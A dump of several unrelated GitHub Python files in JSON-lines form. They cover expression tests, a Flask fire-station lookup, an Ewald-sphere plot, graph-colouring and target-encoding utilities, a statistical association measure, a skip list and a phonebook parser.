{str(Mul(x, y))}\"\n\n\n@pytest.mark.parametrize(\"a1, a2, expr\", [\n (0, 1, \"x / y\"),\n (2, 1, \"42 / y\"),\n (2, 3, \"42 / 1\"),\n])\ndef test_div(a1, a2, expr, sample_operand_expr):\n x, y = sample_operand_expr[a1], sample_operand_expr[a2]\n assert str(Div(x, y)) == expr, \\\n f\"expected string representation of {expr} but got {str(Div(x, y))}\"\n\n\n@pytest.mark.parametrize(\"a1, a2, expr\", [\n (0, 1, \"x ^ y\"),\n (2, 1, \"42 ^ y\"),\n (2, 3, \"42 ^ 1\"),\n])\ndef test_pow(a1, a2, expr, sample_operand_expr):\n x, y = sample_operand_expr[a1], sample_operand_expr[a2]\n assert str(Pow(x, y)) == expr, \\\n f\"expected string representation of {expr} but got {str(Pow(x, y))}\"\n\n\n@pytest.fixture\ndef sample_string_set():\n x = Symbol('x')\n y = Symbol('y')\n tests = [(x + 1)**(y*x**3) + y**2*x*(2 / y),\n (1/x + 1/y)**2 + (1 + 2*x),\n 4*(x/y)**(0.5)\n ]\n return tests\n\n\n@pytest.mark.parametrize(\"idx, string\", [\n (0, '(x + 1) ^ (y * x ^ 3) + y ^ 2 * x * 2 / y'),\n (1, '(1 / x + 1 / y) ^ 2 + 1 + 2 * x'),\n (2, '4 * (x / y) ^ 0.5')\n])\ndef test_str_rep(sample_string_set, idx, string):\n expr = sample_string_set[idx]\n assert str(expr) == string, \\\n f\"expected string representation of {string} but got {str(expr)}\"\n\n\n@pytest.fixture\ndef sample_expr_set():\n x = Symbol('x')\n y = Symbol('y')\n tests = [(3 * x + 2**(y / 5) - 1, 1.5, 10, 7.5),\n (3 * x + 2**(y / 5) - 1, 2.5, 11, 11.09479341998814),\n (4 * x + x**2 * y + 3 * y + 2, 1.0, 2.5, 16),\n (4 * x + x**2 * y + 3 * y + 2, 1.1, 2.25, 15.8725)\n ]\n return tests\n\n\n@pytest.mark.parametrize(\"idx\", [\n (0),\n (1),\n (2),\n (3)\n])\ndef test_any_evaluate(sample_expr_set, idx):\n from tests.expression_tools import postvisitor, evaluate\n expr, x, y, val = sample_expr_set[idx]\n assert postvisitor(expr, evaluate, symbol_map={'x': x, 'y': y}) == val, \\\n f\"expected an evaluation of {val} for expression {expr}\"\n","repo_name":"callumfirth/M2R-RMAD","sub_path":"tests/test_evaluate.py","file_name":"test_evaluate.py","file_ext":"py","file_size_in_byte":3402,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"11211894197","text":"\nfrom flask import Flask, render_template, request,url_for\nimport test2\nimport json\n\napp=Flask(__name__)\n\n#index route starter\n@app.route('/')\ndef index():\n return render_template('index.html')\n\n@app.route('/handle_data', methods=['POST'])\ndef handle_data():\n mid_state=request.form['front_state']\n mid_zip=request.form['front_zip']\n action = request.form.get('action')\n \n json_coords= json.loads(request.form['clickedLocation'])\n lat = json_coords['lat']#json likes to swap order so don't be startled about why they get swapped in the return\n lng = json_coords['lng']\n mid_node=test2.Node((lat,lng),0)\n print(f'Front end data received in flask route:{mid_state},{mid_zip},{mid_node}')\n\n if action=='bubble':\n sorting_algorithm='bubble'\n elif action=='merge':\n sorting_algorithm='merge'\n elif action=='selection':\n sorting_algorithm='selection'\n\n back_station=test2.get_stations(mid_node,mid_state,mid_zip,sorting_algorithm)\n\n #test2.get_stations returns fire station object\n #parameters available for fire station object:(self, name, geometry, zip_code, city, state, address, global_id, distance)\n #use back_station.parameter in the return\n #example return statement: return render_template('index.html',state=mid_state, zip_code=mid_zip, coords=back_station.name)#for testing\n back_lat=(back_station.geometry[0])\n back_lng=(back_station.geometry[1])\n return render_template('index.html',return_start_lng=lat, return_start_lat=lng,return_name=back_station.name, return_lat=back_lat, return_lng=back_lng, \n return_zip=back_station.zip_code, return_city=back_station.city, return_state=back_station.state, \n return_address=back_station.address, return_global_id=back_station.global_id, \n return_distance=back_station.distance)#the return viariables are set in the html, make sure they match here\n\nif __name__=='__main__':\n app.run(debug=True)","repo_name":"ReneLisasi/DRO_basic","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2006,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"17465106006","text":"import itertools as it\n\nimport matplotlib.lines as mlines\nimport matplotlib.patches as mpatches\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom crystals import Atom, Crystal\nfrom matplotlib.ticker import FixedFormatter, FixedLocator\nfrom skued import electron_wavelength, indices_to_text, lorentzian\n\nfrom dissutils import LARGE_FIGURE_WIDTH, ImageGrid, named_arrow\n\nEWALD_RADIUS = 2 * np.pi / electron_wavelength(keV=90)\nEWALD_RADIUS_XRAY = 2 * np.pi / 0.95 # 13 keV x-rays\n\nELECTRONS_COLOR = \"k\"\nXRAY_COLOR = \"indigo\"\n\n# Abstract simple cubic crystal with 3Angs sides\nCRYSTAL = Crystal(unitcell=[Atom(\"C\", (0, 0, 0))], lattice_vectors=5 * np.eye(3))\n\nfig = plt.figure(figsize=(LARGE_FIGURE_WIDTH, LARGE_FIGURE_WIDTH / 1.5))\n(ax,) = ImageGrid(fig, rect=111, nrows_ncols=(1, 1), cbar_location=\"top\")\n\nky, kz = np.meshgrid(np.linspace(-6, 6, 256), np.linspace(-4, 7, 256))\nim = np.zeros_like(ky)\n\nfor k, l in it.product([-5, -4, -3, -2, -1, 0, 1, 2, 3, 4, 5], repeat=2):\n _, qy, qz = CRYSTAL.scattering_vector((0, k, l))\n im += lorentzian(coordinates=[ky, kz], center=[qy, qz], fwhm=0.15)\n\nm = ax.imshow(\n im,\n vmin=0,\n cmap=\"CMRmap_r\",\n extent=[ky.min(), ky.max(), kz.max(), kz.min()],\n)\ncbar = ax.cax.colorbar(\n m, ticks=FixedLocator(locs=[0, im.max()]), format=FixedFormatter([\"0\", \"1\"])\n)\nax.cax.set_xlabel(\"$|\\\\tilde{V}(\\mathbf{q})|$ [a.u.]\")\nax.cax.xaxis.set_label_position(\"top\")\nax.cax.xaxis.tick_top()\n\n# Ewald spheres\nax.add_patch(\n mpatches.Circle(\n xy=(0, EWALD_RADIUS),\n radius=EWALD_RADIUS,\n fc=\"none\",\n ec=ELECTRONS_COLOR,\n )\n)\nax.add_patch(\n mpatches.Circle(\n xy=(0, EWALD_RADIUS_XRAY),\n radius=EWALD_RADIUS_XRAY,\n fc=\"none\",\n ec=XRAY_COLOR,\n linestyle=\"dashed\",\n )\n)\n\nfor (h, k, l) in [(0, 0, 0)]:\n ax.annotate(\n xy=(k, l),\n ha=\"center\",\n va=\"bottom\",\n text=indices_to_text(h, k, l),\n xytext=(k, l + 0.2),\n )\n\n# Lattice vectors\n_, _y, _z = CRYSTAL.scattering_vector((0, -4, -2))\narrow_kwds = dict(\n x=_y, y=_z, length_includes_head=True, width=0.001, head_width=0.1, fc=\"k\"\n)\n\nnamed_arrow(\n ax,\n dx=np.linalg.norm(CRYSTAL.reciprocal_vectors[1]),\n dy=0,\n text=r\"$\\mathbf{b}_2$\",\n toffset=(0, -0.1),\n tkwds=dict(va=\"top\", ha=\"center\"),\n **arrow_kwds\n)\nnamed_arrow(\n ax,\n dx=0,\n dy=np.linalg.norm(CRYSTAL.reciprocal_vectors[2]),\n text=r\"$\\mathbf{b}_3$\",\n toffset=(-0.1, 0),\n tkwds=dict(va=\"center\", ha=\"right\"),\n **arrow_kwds\n)\n\n\nelectron_handle = mlines.Line2D(\n [],\n [],\n color=ELECTRONS_COLOR,\n marker=None,\n linestyle=\"solid\",\n label=\"Electrons (90 keV)\",\n)\nxray_handle = mlines.Line2D(\n [], [], color=XRAY_COLOR, marker=None, linestyle=\"dashed\", label=\"X-rays (13 keV)\"\n)\n\nfig.legend(\n handles=[electron_handle, xray_handle],\n loc=\"center\",\n ncol=2,\n bbox_to_anchor=(0.5, 0.05),\n edgecolor=\"none\",\n)\n\nax.set_xlim([ky.min(), ky.max()])\nax.set_ylim([-2.7, 4.8])\nax.axis(\"off\")\n","repo_name":"LaurentRDC/dissertation","sub_path":"figures/scattering/ewald.py","file_name":"ewald.py","file_ext":"py","file_size_in_byte":3020,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"48"} +{"seq_id":"6766354466","text":"\"\"\"\nUtilities for coloring\n\nHere, take this:\n\nPYTHONMALLOC=malloc valgrind --tool=memcheck --error-limit=no python ...\n\"\"\"\n\nfrom numba import jit, int32, uint32, uint64, void, float64, boolean, prange\nimport numpy as np\nimport scipy.sparse as sps\n\n@jit(\n void(float64[:], int32[:], uint32[:]),\n nopython=True\n)\ndef _uniques_and_counts_compiled(\n data, indptr, counts):\n for i, (start, stop) in enumerate(zip(indptr, indptr[1:])):\n data[start:stop].sort()\n\n unique_ix = start\n for scan_ix in range(start + 1, stop):\n if data[unique_ix] == data[scan_ix]:\n continue\n unique_ix += 1\n data[unique_ix] = data[scan_ix]\n\n counts[i] = min(stop, 1 + unique_ix) - start\n\ndef get_uniques_and_counts(X):\n \"\"\"\n Accepts a CSR or CSC sparse matrix over float64.\n\n Returns (uniques, uniques_offsets, nunique), where\n uniques[uniques_offsets[i]:unique_offsets[i]+nunique[i]]\n contains the sorted, unique values for the i-th\n row (for CSR) or column (for CSC).\n \"\"\"\n assert sps.issparse(X), type(X)\n assert X.getformat() in ['csc', 'csr']\n assert X.dtype == np.float64\n\n n = len(X.indptr) - 1\n uniques = X.data.copy()\n nunique = np.zeros(n, np.uint32)\n _uniques_and_counts_compiled(uniques, X.indptr, nunique)\n offsets = X.indptr[:-1]\n return uniques, offsets, nunique\n\n@jit(\n void(\n float64[:], int32[:], uint32[:],\n float64[:], int32[:], uint32[:]),\n nopython=True\n)\ndef _remap_floats_compiled(\n data, indptr, data_out,\n uniques, offsets, nuniques):\n for i, (start, stop, ustart, ulen) in enumerate(zip(\n indptr, indptr[1:], offsets, nuniques)):\n ustop = ustart + ulen\n data_out[start:stop] = 1 + np.searchsorted(uniques[ustart:ustop], data[start:stop])\n\ndef remap_floats(X, uniques, offsets, nunique):\n \"\"\"\n Accepts a CSR or CSC sparse matrix X over float64, and\n its get_uniques_and_counts(X) output.\n\n Remaps the i-th smallest float in each row (for CSR) or\n column (for CSC) to the value i, returning a corresponding\n sparse matrix over uint32, starting the indexing from\n 1 (since 0 is our sparse fill value).\n \"\"\"\n assert sps.issparse(X), type(X)\n assert X.getformat() in ['csc', 'csr']\n assert X.dtype == np.float64\n\n data = np.empty(len(X.data), np.uint32)\n _remap_floats_compiled(\n X.data, X.indptr, data,\n uniques, offsets, nunique\n )\n\n constructor = sps.csc_matrix if X.getformat() else sps.csr_matrix\n return constructor((data, X.indices, X.indptr))\n\nfrom create_edgeset import uniquify, sort4, create_edgeset_u64 as create_edgeset_u64\n\ndef onehot(Xcategorical_csc_remapped, nunique):\n # accepts CSC remapped values (contiguous ints in each column)\n # return CSR, CSC for onehot.\n nnzc = np.diff(Xcategorical_csc_remapped.indptr)\n\n # Xcategorical - csc u32 sparse matrix with contiguous categorical values\n # nunique - number unique vals in each col, excl 0\n # nnzc - number nonzeros in each col\n col_count_base = np.roll(np.cumsum(nunique, dtype=np.uint32), 1)\n col_count_base[0] = 0\n\n # column i can be recoded to have integers\n # from col_count_base[i] + 1 (incl) to\n # col_count_base[i] + nunique[i] + 1 (excl)\n X = Xcategorical_csc_remapped\n data = X.data + np.repeat(col_count_base, nnzc).astype(np.uint32)\n\n # now that every categorical value is unique,\n # make set the indices to the data values (one-hotting, essentially)\n assert data.max() < 2 ** 31\n data = data.astype(np.int32)\n\n # uniqued original matrix, where value = its target column in binary form\n X = sps.csc_matrix((data, X.indices, X.indptr), shape=X.shape)\n X = X.tocsr()\n\n new_data = np.ones_like(X.data, dtype=bool)\n new_indices = X.data\n\n nrows = X.shape[0]\n ncols = col_count_base[-1] + nunique[-1] + 1\n Xbinary = sps.csr_matrix((new_data, new_indices, X.indptr), shape=(nrows, ncols))\n # creates a useless dummy column 0 with no hot values\n return Xbinary\n\n# create an inline adjacency list\n\n@jit(uint32(uint64), nopython=True)\ndef left(x):\n return x >> 32\n\n@jit(uint32(uint64), nopython=True)\ndef right(x):\n return x & (2 ** 32 - 1)\n\n@jit(void(uint64[:], uint32[:]), nopython=True)\ndef count_degree(edges, degree):\n for e64 in edges:\n l, r = left(e64), right(e64)\n degree[l] += 1\n degree[r] += 1\n\n@jit(void(uint64[:], uint32[::1], uint64[:], uint64[:]), nopython=True, parallel=True)\ndef fill_edges(edges, bidir_edges, start_offsets, start_offsets_immutable):\n for e64 in edges:\n l, r = left(e64), right(e64)\n bidir_edges[start_offsets[l]] = r\n bidir_edges[start_offsets[r]] = l\n start_offsets[l] += 1\n start_offsets[r] += 1\n\n noffsets = len(start_offsets_immutable) - 1\n for i in prange(noffsets):\n start = start_offsets_immutable[i]\n stop = start_offsets_immutable[i + 1]\n sort4(bidir_edges, start, stop - start)\n\nu32max = np.iinfo(np.uint32).max\n@jit(\n uint32(uint32[:], uint32[:], uint64[:],\n uint32[:], boolean[:]),\n nopython=True\n)\ndef _color_graph_compiled(\n vertex_order, adjacency, vertex_offsets,\n color_map, adjacent_colors):\n ncolors = 0\n for v in vertex_order:\n vstart, vend = vertex_offsets[v], vertex_offsets[v + 1]\n for n in adjacency[vstart:vend]:\n if color_map[n] != u32max:\n adjacent_colors[color_map[n]] = True\n\n color = ncolors\n for i in range(ncolors):\n if not adjacent_colors[i]:\n color = i\n break\n\n ncolors = max(color + 1, ncolors)\n color_map[v] = color\n\n if vend - vstart > ncolors:\n adjacent_colors[:ncolors] = False\n else:\n for n in adjacency[vstart:vend]:\n if color_map[n] != u32max:\n adjacent_colors[color_map[n]] = False\n return ncolors\n\ndef color_graph(degree, bidir_edges, vertex_offsets, color_ub=2 ** 16):\n nverts = len(degree)\n smallest_first = np.argsort(degree).astype(np.uint32)\n largest_first = smallest_first[::-1]\n\n color_map = np.full(int(nverts), u32max, dtype=np.uint32)\n # will segfault if you have >2**10 colors\n adjacent_colors = np.zeros(color_ub, dtype=bool)\n\n ncolors = _color_graph_compiled(\n largest_first, bidir_edges, vertex_offsets,\n color_map, adjacent_colors)\n\n return ncolors, color_map\n\n@jit(void(uint32[:], uint32[:, ::1], uint32[:]), nopython=True)\ndef _color_remap_compiled(\n remap_map,\n color_coded_T,\n color_cards):\n ncolors, nrows = color_coded_T.shape\n for col in range(ncolors):\n column = color_coded_T[col]\n sort4(color_coded_T.ravel(), col * nrows, nrows)\n ucol = uniquify(column)\n color_cards[col] = ucol - 1\n for i, c in enumerate(column[:ucol]):\n remap_map[c] = i\n\n\ndef color_remap(Xbinary_csr, ncolors, color_map, nnzr):\n nverts = Xbinary_csr.shape[1]\n nrows = Xbinary_csr.shape[0]\n color_coded = np.zeros((nrows, ncolors), dtype=np.uint32)\n color_coded_T = np.zeros((ncolors, nrows), dtype=np.uint32)\n\n row_ix = np.repeat(np.arange(0, nrows, dtype=np.uint32), nnzr)\n active_columns = Xbinary_csr.indices\n colors = color_map[active_columns]\n color_coded[row_ix, colors] = active_columns\n color_coded_T[colors, row_ix] = active_columns\n\n # convert unique factors back into compact intervals\n remap_map = np.zeros(int(nverts), np.uint32)\n color_cards = np.zeros(ncolors, np.uint32)\n _color_remap_compiled(\n remap_map,\n color_coded_T,\n color_cards)\n\n Xcategorical_color = np.take(remap_map, color_coded)\n\n return Xcategorical_color, color_cards\n\nimport time\nfrom contextlib import contextmanager\nimport sys\n\nclass _timeit:\n def __init__(self):\n self.seconds = 0\n\n def set_seconds(self, x):\n self.seconds = x\n\n@contextmanager\ndef timeit(name=None, name_pad=32):\n if name:\n print(('{:>' + str(name_pad) + '}').format(name), end='')\n sys.stdout.flush()\n x = _timeit()\n t = time.time()\n yield x\n x.set_seconds(time.time() - t)\n if name:\n print(\" ...took {:10.2f} sec \".format(x.seconds))\n\n\nfrom joblib import Memory\nmemory = Memory('urls.coloring.cache')\n\nfrom sklearn.datasets import load_svmlight_file\n\ndef read_svmlight(filename):\n X, y = load_svmlight_file('url_svmlight/' + filename)\n assert X.shape[0] == len(y)\n return X, y\n\nimport os\ndatafiles = [f for f in os.listdir('url_svmlight') if f.startswith('Day') and f.endswith('.svm')]\ndatafiles = list(sorted((f for f in datafiles), key=lambda x: int(x[len('Day'):x.index('.svm')])))\n\nfrom multiprocessing import Pool, cpu_count\n\n@memory.cache\ndef read_all_svmlight():\n Xs, ys = [], []\n nrows = 0\n ncols = 0\n with Pool(cpu_count()) as p:\n for X, y in p.map(read_svmlight, datafiles):\n nrows += len(y)\n ncols = max(ncols, X.shape[1])\n Xs.append(X)\n ys.append(y)\n return Xs, ys, nrows, ncols\n\ndef pad_columns(Xs, ncols):\n # TODO: csc-specialized version of this should be really fast\n for i in range(len(Xs)):\n r, c = Xs[i].shape\n if ncols > c:\n Xs[i] = sps.hstack([Xs[i], sps.lil_matrix((r, ncols - c), dtype=Xs[i].dtype)], 'csc')\n\n@memory.cache\ndef extract_continuous():\n continuous_feature_ixs = []\n with open('url_svmlight/FeatureTypes') as f:\n for line in f:\n continuous_feature_ixs.append(int(line))\n\n return continuous_feature_ixs\n\n@memory.cache\ndef extract_sparse():\n with timeit('load all svmlight files'):\n Xs, ys, nrows, ncols = read_all_svmlight()\n\n with timeit('pad columns'):\n pad_columns(Xs, ncols)\n\n with timeit('gather feature type ixs'):\n continuous_feature_ixs = extract_continuous()\n cat_feature_ixs = [i for i in range(Xs[0].shape[1]) if i not in set(continuous_feature_ixs)]\n\n with timeit('extract continuous'):\n Xcontinuous = np.concatenate([X[:, continuous_feature_ixs].todense() for X in Xs])\n\n with timeit('extract categorical'):\n # TODO: csc-specialized version of this should be really fast\n Xcategorical_csc = sps.vstack([X[:, cat_feature_ixs] for X in Xs], 'csc')\n\n return Xcontinuous, Xcategorical_csc, ys, nrows, ncols\n\n@memory.cache\ndef get_all_data():\n Xcontinuous, Xcategorical_csc, ys, nrows, ncols = extract_sparse()\n\n with timeit('cat label'):\n y = np.concatenate(ys) == 1\n y = y.astype(float)\n\n with timeit('unique column values'):\n uniques, offsets, nunique = get_uniques_and_counts(Xcategorical_csc)\n\n with timeit('remap categorical floats'):\n Xcategorical_csc = remap_floats(Xcategorical_csc, uniques, offsets, nunique)\n # coloring works just fine with categorical input, since you can create\n # a new vertex for categorical values\n with timeit('onehot'):\n Xbinary_csr = onehot(Xcategorical_csc, nunique)\n \n with timeit('csc'):\n Xcsc = Xbinary_csr.tocsc()\n\n ncols = Xbinary_csr.shape[1] + Xcontinuous.shape[1]\n\n return Xcontinuous, Xbinary_csr, Xcsc, y, nrows, ncols\n\n# messing with env for C lib parallelism here...\n# can't use this with other jobs with diff nthreads\ndef set_parallelism(nthreads):\n if 'NUMBA_NUM_THREADS' in os.environ:\n assert os.environ['NUMBA_NUM_THREADS'] == str(nthreads), \"once set, can't override\"\n else:\n os.environ['NUMBA_NUM_THREADS'] = str(nthreads)\n if 'OMP_NUM_THREADS' in os.environ:\n assert os.environ['OMP_NUM_THREADS'] == str(nthreads), \"once set, can't override\"\n else:\n os.environ['OMP_NUM_THREADS'] = str(nthreads)\n\ndef sums_to_means_precondition(offsets, means, counts):\n assert np.all(0 <= offsets)\n assert np.all(offsets <= len(means))\n assert np.all(offsets[-1] == len(means))\n assert len(means) == len(counts)\n\n@jit(void(uint32[:], float64[:], uint32[:]), nopython=True)\ndef sums_to_means(offsets, means, counts):\n for start, stop in zip(offsets, offsets[1:]):\n net_sum = means[start:stop].sum()\n net_count = counts[start:stop].sum()\n for i in range(start, stop):\n if counts[i]:\n means[i] = means[i] / counts[i]\n else:\n means[i] = net_sum / net_count if net_count else 0\n\ndef fit_target_encode_csc_precondition(\n indptr, data, indices, y,\n offsets, counts, means):\n sums_to_means_precondition(offsets, means, counts)\n assert len(indptr) == len(offsets)\n assert indptr[-1] == len(data)\n\n for col, (start, stop) in enumerate(zip(indptr, indptr[1:])):\n card = offsets[col + 1] - offsets[col]\n assert card >= 0\n assert np.all(0 <= data[start:stop] -1)\n assert np.all(data[start:stop] - 1 < card)\n assert np.all(0 <= offsets[col] + data[start:stop] - 1)\n assert np.all(offsets[col] + data[start:stop] - 1 < len(means))\n assert np.all(0 <= indices)\n assert np.all(indices < len(y))\n\n@jit(void(int32[:], uint32[:], int32[:], float64[:],\n uint32[:], uint32[:], float64[:]),\n nopython=True)\ndef fit_target_encode_csc(\n indptr, data, indices, y,\n offsets, counts, means):\n for col, (start, stop) in enumerate(zip(indptr, indptr[1:])):\n for nnz_ix in range(start, stop):\n value_ix = offsets[col] + data[nnz_ix] - 1\n means[value_ix] += y[indices[nnz_ix]]\n counts[value_ix] += 1\n\n sums_to_means(offsets, means, counts)\n\ndef fit_target_encode_dense_precondition(\n Xcat, y,\n offsets, counts, means):\n sums_to_means_precondition(offsets, means, counts)\n nrows, ncols = Xcat.shape\n assert ncols + 1 == len(offsets)\n\n for col in range(ncols):\n card = offsets[col + 1] - offsets[col]\n assert card > 0\n assert np.all(0 <= Xcat[:, col] - 1)\n assert np.all(Xcat[:, col] - 1 < card)\n assert np.all(0 <= offsets[col] + Xcat[:, col] - 1)\n assert np.all(offsets[col] + Xcat[:, col] - 1 < len(means))\n\n@jit(void(uint32[:, :], float64[:],\n uint32[:], uint32[:], float64[:]),\n nopython=True)\ndef fit_target_encode_dense(\n Xcat, y,\n offsets, counts, means):\n nrows, ncols = Xcat.shape\n for row in range(nrows):\n # TODO invert, then vectorize this loop\n for col in range(ncols):\n value_ix = offsets[col] + Xcat[row, col] - 1\n means[value_ix] += y[row]\n counts[value_ix] += 1\n\n sums_to_means(offsets, means, counts)\n\n@jit(void(int32[:], uint32[:],\n uint32[:], float64[:],\n float64[:]),\n nopython=True)\ndef transform_target_encode_csc(\n indptr, data,\n offsets, means,\n data_out):\n for col, (start, stop) in enumerate(zip(indptr, indptr[1:])):\n data_out[start:stop] = means[offsets[col] + data[start:stop] - 1]\n\n@jit(void(uint32[:, :],\n uint32[:], float64[:],\n float64[:, :]),\n nopython=True)\ndef transform_target_encode_dense(\n Xcat,\n offsets, means,\n data_out):\n nrows, ncols = Xcat.shape\n for row in range(nrows):\n # TODO: invert, then vectorize this loop\n for col in range(ncols):\n value_ix = offsets[col] + Xcat[row, col] - 1\n data_out[row, col] = means[value_ix]\n\nclass TargetEncoder:\n \"\"\"\n Should be initialized with\n\n cards - cardinalities for categorical columns, in order,\n excluding zeros from cardinality\n is_sparse - whether to expect sparse categorical inputs or dense ones\n\n It's OK to know this cardinality info ahead of time since\n values unseen in training are filled with the average\n target value from the training set.\n \"\"\"\n\n def __init__(self, *, cards, is_sparse, debug):\n self.cards = cards.astype(np.uint32)\n self.is_sparse = is_sparse\n self.debug = debug\n\n # means with imputation values for non-zero entries\n self.means = np.zeros(np.sum(cards), np.float64)\n self.counts = np.zeros(len(self.means), np.uint32)\n self.offsets = np.cumsum(np.insert(cards, 0, 0), dtype=np.uint32)\n\n def check_sparse(self, Xcat):\n assert self.is_sparse == sps.issparse(Xcat), (self.is_sparse, type(Xcat))\n if self.is_sparse:\n assert Xcat.getformat() == 'csc', Xcat.getformat()\n\n def fit(self, X, y=None):\n \"\"\"\n Assumes csc for is_sparse, assumes all continuous columns are first\n expects input X to be a tuple (Xcont, Xcat) of design matrics\n for continuous, categorical features.\n\n Xcont should be over float64, Xcat should be over uint32.\n\n Xcat may be csc sparse or dense. If it is sparse, then\n the transformation of this operator will (by necessity of\n classifier interfaces) generate a sparse matrix with the\n categorical values.\n \"\"\"\n Xcont, Xcat = X\n self.check_sparse( Xcat)\n\n if self.is_sparse:\n args = (\n Xcat.indptr, Xcat.data, Xcat.indices, y,\n self.offsets, self.counts, self.means)\n if self.debug:\n fit_target_encode_csc_precondition(*args)\n fit_target_encode_csc(*args)\n else:\n args = (\n Xcat, y,\n self.offsets, self.counts, self.means)\n if self.debug:\n fit_target_encode_dense_precondition(*args)\n fit_target_encode_dense(*args)\n\n return self\n\n def transform(self, X, y=None):\n \"\"\"\n See self.fit() documentation for expected X input.\n\n Ignores y argument.\n\n Returns a single matrix, the new design matrix\n after categorical encoding, which will be sparse\n iff self.is_sparse\n \"\"\"\n Xcont, Xcat = X\n self.check_sparse(Xcat)\n\n if self.is_sparse:\n data_out = np.empty(Xcat.data.shape, np.float64)\n transform_target_encode_csc(\n Xcat.indptr, Xcat.data,\n self.offsets, self.means,\n data_out)\n Xcat_encoded = sps.csc_matrix((data_out, Xcat.indices, Xcat.indptr))\n return sps.hstack([Xcont, Xcat_encoded], 'csc')\n else:\n data_out = np.zeros(Xcat.shape, np.float64)\n transform_target_encode_dense(\n Xcat,\n self.offsets, self.means,\n data_out\n )\n return np.hstack([Xcont, Xcat])\n\n def fit_transform(self, X, y=None):\n return self.fit(X, y).transform(X, y)\n","repo_name":"sisudata/coloring","sub_path":"utils_graph_coloring.py","file_name":"utils_graph_coloring.py","file_ext":"py","file_size_in_byte":18651,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"48"} +{"seq_id":"36278331160","text":"import numpy\n\n__author__ = 'Emanuele Tamponi'\n\n\nclass AssociationMeasure(object):\n\n def __init__(self, measure=\"wilks\"):\n self.measure = measure\n\n def __call__(self, inputs, labels):\n w_matrix, b_matrix, rank = self._calculate_matrices(inputs, labels)\n try:\n eigenvalues = self._calculate_eigenvalues(w_matrix, b_matrix, rank)\n except numpy.linalg.LinAlgError:\n if numpy.all(b_matrix == 0):\n return 0\n else:\n return 1\n if self.measure in {\"wilks\", \"armonic\"}:\n wilks_lambda = 1\n for eigenvalue in eigenvalues:\n wilks_lambda *= 1.0 / (1.0 + eigenvalue)\n if self.measure == \"armonic\":\n return 1 - pow(wilks_lambda, 1.0 / rank)\n else:\n return 1 - wilks_lambda\n if self.measure == \"roy\":\n return eigenvalues[0] / (1 + eigenvalues[0])\n if self.measure == \"pillai\":\n v = (eigenvalues / (1 + eigenvalues)).sum()\n return v / rank\n if self.measure == \"lawley\":\n v = eigenvalues.sum() / rank\n return v / (1 + v)\n\n @staticmethod\n def _calculate_matrices(inputs, labels):\n classes = numpy.unique(labels)\n feature_num = inputs.shape[1]\n class_means = numpy.zeros((len(classes), feature_num))\n class_sizes = numpy.zeros(len(classes))\n split_inputs = []\n for i, c in enumerate(classes):\n split_inputs.append(inputs[labels == c])\n class_means[i] = split_inputs[-1].mean(axis=0)\n class_sizes[i] = len(split_inputs[-1])\n mean_input = inputs.mean(axis=0)\n b_matrix = numpy.zeros((feature_num, feature_num))\n for class_mean, class_size in zip(class_means, class_sizes):\n class_shift = (class_mean - mean_input).reshape((feature_num, 1))\n b_matrix += class_size * numpy.dot(class_shift, class_shift.transpose())\n w_matrix = numpy.zeros((feature_num, feature_num))\n for class_mean, class_inputs in zip(class_means, split_inputs):\n for x in class_inputs:\n shift = (x - class_mean).reshape((feature_num, 1))\n w_matrix += numpy.dot(shift, shift.transpose())\n rank = min(len(classes) - 1, feature_num)\n return w_matrix, b_matrix, rank\n\n @staticmethod\n def _calculate_eigenvalues(w_matrix, b_matrix, rank):\n inv_w_matrix = numpy.linalg.inv(w_matrix)\n eigenvalues = numpy.sort(abs(numpy.linalg.eigvals(numpy.dot(inv_w_matrix, b_matrix))))[::-1]\n return eigenvalues[:rank]\n","repo_name":"etamponi/emetrics","sub_path":"emetrics/coefficients/association_measure.py","file_name":"association_measure.py","file_ext":"py","file_size_in_byte":2633,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"35123686175","text":"import random\nimport string\n\nrandstr = lambda n: ''.join(random.choices(string.ascii_lowercase + string.ascii_uppercase + string.digits, k=n))\n\n\nclass Node():\n def __init__(self, k, v, n, f=None):\n self.key = k\n self.value = v\n self.next: Node = n\n self.forward: Node = f\n def clone(self):\n return Node(self.key, self.value, self.next, self.forward)\n\n\ndef toSortedLinkedList(lst):\n lst = sorted(lst)\n n = Node(lst[-1][0], lst[-1][1], None)\n for i in lst[:-1][::-1]:\n n = Node(i[0], i[1], n)\n return n\n\n\ndef skiplist(node, factor=0.5):\n if not node:\n return None\n head = node.clone()\n head.forward = node\n tmp = head\n n = head\n while n.next:\n n = n.next\n if random.random() > factor:\n continue\n new = n.clone()\n new.forward = n\n tmp.next = new\n tmp = new\n return head\n\n\ndef search(node: Node, key):\n while node:\n if key == node.key:\n return node\n if node.next and node.next.key >key:\n node = node.forward\n else:\n node = node.next\n","repo_name":"paletteOvO/CodeColle","sub_path":"Python/skiplist.py","file_name":"skiplist.py","file_ext":"py","file_size_in_byte":1069,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"25434889907","text":"class Person:\r\n def __init__(self, name, num, date):\r\n self.name = name\r\n self.num = num\r\n self.date = date\r\n \r\n def __str__(self):\r\n return '{}: {} {}'.format(self.name, self.num, self.date)\r\n\r\nf = open(\"SOTAY.txt\", 'r')\r\nf1 = open(\"DIENTHOAI.txt\", 'w')\r\n\r\ndata = []\r\nfor i in f:\r\n data.append(i[:-1])\r\na = []\r\ni = 0\r\nwhile i < len(data):\r\n s = data[i].split()\r\n if s[0] == 'Ngay':\r\n i += 1\r\n while True:\r\n x = Person(data[i], data[i+1], s[1])\r\n a.append(x)\r\n i += 2\r\n if i > len(data) - 1:\r\n break\r\n x = data[i].split()\r\n if x[0] == 'Ngay':\r\n break\r\n\r\nfor i in a:\r\n print(i)\r\n f1.write(str(i) + '\\n')\r\nf.close()\r\nf1.close()","repo_name":"ducanhnguyen07/Python","sub_path":"sao_chep_danh_ba.py","file_name":"sao_chep_danh_ba.py","file_ext":"py","file_size_in_byte":787,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} 